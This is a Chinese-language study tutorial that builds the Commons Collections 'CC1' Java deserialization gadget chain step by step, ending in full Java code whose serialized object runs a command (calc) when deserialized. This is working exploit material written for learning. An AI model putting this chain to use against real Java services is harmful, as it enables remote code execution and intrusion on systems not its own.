CC1
这里用的是组长的链子和yso好像不太一样,不过大体上都是差不多的。后半条的链子都是一样的,而且这条更短更易理解。yso的CC1过段时间再看一下。
环境
Maven依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
JDK
8u65
openjdk
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
下载后把里面的sun放在jdk的src里面。
sun的目录在jdk-af660750b2f4\src\share\classes下
这样子才能调试,否则class文件是无法调试的
开始
新建一个Maven项目,要记得设置好Maven的路径,避免后续的调试过程中遇到反编译代码无法下载或者其他睿智问题。
开始结构:
我们可以了解一下接口Transformer,这个接口就接受一个Object类然后利用方法transform:
我们可以按住ctrl+H查看改接口的实现类:
我们这里看几个实现类:
ChainedTransformer.java
//构造方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
//transformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这个类的transformer是一个链式,即前一个的输出作为后一个的输入。
ConstantTransformer
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer.java
//构造函数
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//transformer
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这个类里面有一个method.invoke(input, iArgs);非常类似于后门的写法。这也是CC1的漏洞利用点。
首先手撸CC1的第一步,基于这个类写一个弹计算器。
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}
这样子就在InvokerTransformer类的基础上实现了恶意命令执行。即我们现在确定了终点,我们需要凭借这个一路向上寻找直到找到某个类重写了readObject并且能够执行到这里的链子。
首先我们从transformer方法入手,看看什么类调用了transformaer
最终我们确定了一处checksetValue
这里使用了valueTransformer调用transform
我们就需要知道
- valueTransformer是什么
- 它是怎么被赋值的
- 我们能否控制它
不难找到在一处地方对他进行了赋值,这里是protected TransformedMap对他进行赋值,那我们需要寻找那里调用了TransformedMap。
可以看到静态方法调用了它
但是这些都解决了我们还需要找入口触发checkSetValue
它的父类AbstractInputCheckedMapDecorator.setValue调用了checkSetValue,我们以此作为入口
知识小补充:
对于不熟悉Map的我们需要知道有一个遍历Map的常用方法:
这一个entry就代表一个键值对。我们可以在这里调用setValue
手撸第二步,基于这个链子我们再弹一个计算器
目的很明确,我们需要赋值valueTransformer为InvokerTransformer
而静态方法调用了它,并且是直接传值进去,所以我们就可以开始构造
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("aaa", "bbb");
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(runtime);
}
}
}
现在我们的目标就是寻找一个能够遍历数组的地方调用setValue(value) value可控。我们想要寻找谁调用了setValue并且是在readObject里面调用,如果不是在readObject里面调用就需要再看谁的Object里面调用了触发setValue的方法,需要多走一层。
幸运的是不用多走一层。我们找到了AnnotationInvocationHandler类readObject里面调用了setValue
我们关注一下名字,Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类
可以注意到这里不是public
所以我们需要反射调用
再来看构造方法
//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
第一个参数是继承了Annotation的泛型,即注解,如@Override
第二个参数是Map类型
我们来看一下调用setValue(value)这个value我们是否可控?
发现这个value是一整个,我们似乎不可控,再来看第二个问题
Runtime没有继承Serialize,是不可以进行序列化的。
我们先解决这个不能序列化的问题。不能序列化的话,我们可以利用反射来解决。因为Class是继承了Serialize的。
手撸第三步,构造可序列化的Runtime
我们观察InvokerTransformer的构造方法,传入三个参数:
- 参数一
- 要执行的方法名字
- 参数二
- 参数的类型,是一个Class数组
- 参数三
- 具体参数,是一个Object数组
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
再来看InvokerTransformer的transformer方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
接收一个Object,并且执行Object的method(InvokerTransformer传入的method)
即Object.method.
所以我们根据
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
转换为:
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
这个怎么转换的?以First的1、2两行转换为Second第一行为例:
我们需要调用c的 getRuntime 方法,即c.getRuntime
所以 c 为 transformer 的传入此参数,即InvokerTransformer.transform(Runtime.class)
那么InvokerTransformer里面的参数是什么?
第一个参数
getMethod为需要执行的方法,所以第一个方法名就是getMethod
第二个参数
Class数组,数组里面的值取决于传入方法的参数,以getMethod为例
可以看到getMethod需要传入两个参数,第一个参数是String类型的,第二个参数为Class类型的数组
所以这里就是 new Class[]{String.class, Class[].class}
第三个参数
传入的参数,我们这里需要获取getRuntime这个方法名和getRuntime的形参,这里为null。因为getRuntime里面没有形参
所以最终的结果就是
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
而我们发现这个形式就是前一个的输出作为后一个的输入,刚好可以用ChainedTransformer类的transformer方法来解决:
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
手撸第四步,从readObject入口拼凑链子
上面说了我们的入口是AnnotationInvocationHandler的readObject
这里刚好有 memberValue.setValue(xxx); 的形式
我们需要能控制 memberValue 才能走到下一步直到终点。
但是在执行 memberValue.setValue(xxx) 之前有两个判断
因为AnnotationInvocationHandler是私有的,所以我们通过反射实例化它:
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
我们按照
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = {
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("keykey", "valuevalue");
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
这串代码进行调试:
结果发现在memberType那一步就die了,因为这里是获取了我们的keykey之后又获取了keykey的成员类型
因为我们传入的Override没有成员
所以我们需要传入有成员的注解,比如target:
target里面有一个成员名字是value,所以这里我们需要把keykey改成value,这样子获取我们的键value之后就会寻找target注解是否有成员value
改完之后发现我们可以进判断了:
第二个判断是判断是否可以强转,这里不可以就不需要管他了。
接下来就是最重要的memberValue能否控制了,我们跟进去调试看看:
继续跟进
跟进
可以看见这里的形式和我们开始的形式是一致的,我们对比一下:
:::info
chainedTransformer.transform(Runtime.class)
valueTransformer.transform(value);
显而易见这里的value我们就可以传入Runtime.class对象了
但是问题是怎么作为输入传进去
我们可以回顾上面的一个类ConstantTransformer
:::
ConstantTransformer 的构造函数:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
这里对iConstant进行赋值。
然后transformer方法:
public Object transform(Object input) {
return iConstant;
}
所以很明显他的任务就是输入什么返回什么。
这刚刚好满足了chainedTransformer的入口,只要传入new ConstantTransformer(Runtime.class)那么后面就会链式调用,前一个的输出作为后一个的输入最终成功调用执行命令。
所以确定最终payload:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
执行结果:
这就是CC1,学习了好几天总是弄出点门道来。做此纪录以便日后复习。